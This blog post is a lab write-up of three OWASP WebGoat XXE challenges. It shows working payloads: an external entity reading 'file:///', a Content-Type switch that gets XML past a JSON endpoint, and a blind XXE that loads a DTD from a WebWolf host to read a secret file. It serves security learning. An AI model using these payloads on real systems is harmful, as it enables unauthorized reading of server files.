Home

Home / Web App Security / OWASP / WebGoat

Security Misconfigurations

· Matthew Crum

Introduction

WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons. More information including how to download and run WebGoat can be found here on the projects GitHub. This is post six of a series where I will be doing WebGoats challenges to further my understanding of the OWASP Top 10 and web application security as a whole. I have started from the number 10 and am working my way backwards to number 1.


#5. Security Misconfigurations

Security Misconfiguration is one of the most common vulnerabilities on the list. It is often the result of using default configurations or displaying excessively verbose errors. For instance, an application could show a user overly descriptive error messages which may reveal vulnerabilities in the application.

An application is likely vulnerable if it:

General preventative measures include:


XML External Entity Attacks

XML External Entity (XXE) attacks target a type of vulnerability that can occur in applications that process Extensible Markup Language (XML) data. XML is a widely used markup language for structuring and storing data. It uses tags to define elements and their relationships withing a document, similar to HTML but more flexible.

External entities are a way to reference and include external resources within an XML document. These entities are like placeholders that can be expanded to include the content they represent. An XXE attack takes advantage of this capability by manipulating XML inputs to exploit a vulnerability.

An attack generally works as follows:

To help prevent against XXE attacks:


WebGoat Challenges

Challenge 1

Challenge1

I start the challenge out by submitting a comment and capturing the request in Burp Suite so I can see what’s happening

comment1

request1

I can see the comment data being sent as XML in the POST request. I just need to edit the data to include a payload that injects a command to display the contents of the root directory.

<?xml version="1.0"?> 
  <!DOCTYPE another [ 
  <!ENTITY fs SYSTEM "file:///"> 
]> 
<comment> 
    <text> 
    comment
    &fs; 
  </text> 
</comment> 

Line 1 is an XML declaration which indicates the version of XML being used. Then line 2 is the Document type Definition declaration. This defines the structure and rules for the XML document. Within the DTD and external entity declaration is made <!ENTITY fs SYSTEM "file:///"> ]> ". This declares an entity named fs that references an external resource using SYSTEM, which in this case is the root of the file system. Finally the comment from the original XML code is edited to reference the fs entity created earlier.

requestedit

I see in the screenshot above I left the named entity off of my payload by accident so the contents of the file system weren’t displayed in the comments at the time. For some reason the challenge still displayed as successful though.

complete1

Refreshing the page actually deleted all of the comments and messed up the rest of the lesson which was interesting as well.

weird

Challenge 2

Modern Rest Framework

challenge2

This challenge wants me to repeat the XML injections from the previous exercise and see what happens. So I load up burp and try again.

request2

edit2

I receive an error message telling me that I am posting JSON.

json error

If I go back and check out that request I can see that the Content-Type in the header is listed as JSON. If I just change this to XML and then forward the payload it will satisfy the challenge.

content type

content type edit

complete2

Challenge 3

Blind XXE

challenge 3

The goal for this challenge is to create a Document Type Definition file that will get the content of the file located at /home/crumbles/.webgoat-2023.4//XXE/crumbles/secret.txt and input it as a comment on the challenge.

To start off the challenge I capture a comment submission in Burp Suite so I can see what it looks like. Much like the other exercises it’s a POST request using XML data to post a comment. Forwarding the request just fails the challenge.

request 3

failed3

The challenge says “Try to upload this file using WebWolf landing page”. So I’ll go ahead and log into that.

webwolf

Next I need to craft the payload into a file to upload then upload it to WebWolf.

<?xml version="1.0" encoding="UTF-8"?> 

<!ENTITY secret SYSTEM 'file:///home/crumbles/.webgoat-2023.4//XXE/crumbles/secret.txt'> 

vim

upload

I can retrieve the link to the payload from the blue link on the WebWolf page and then I just need to craft it into an XML payload on the comment POST request in Burp Suite.

http://127.0.0.1:9090/files/crumbles/payload.dtd

<?xml version="1.0"?> 
  <!DOCTYPE attack1 [ 
  <!ENTITY % attack1dtd SYSTEM 
  "http://127.0.0.1:9090/files/crumbles/payload.dtd"> 
  %attack1dtd; 
  ]> 
  <comment>  <text>New Comment &secret;</text></comment> 

payload

comment

Then I just submit the contents of the comment in the comment field and the challenge is complete.

complete 3

That’s it for WebGoats Security Misconfiguration Challenges.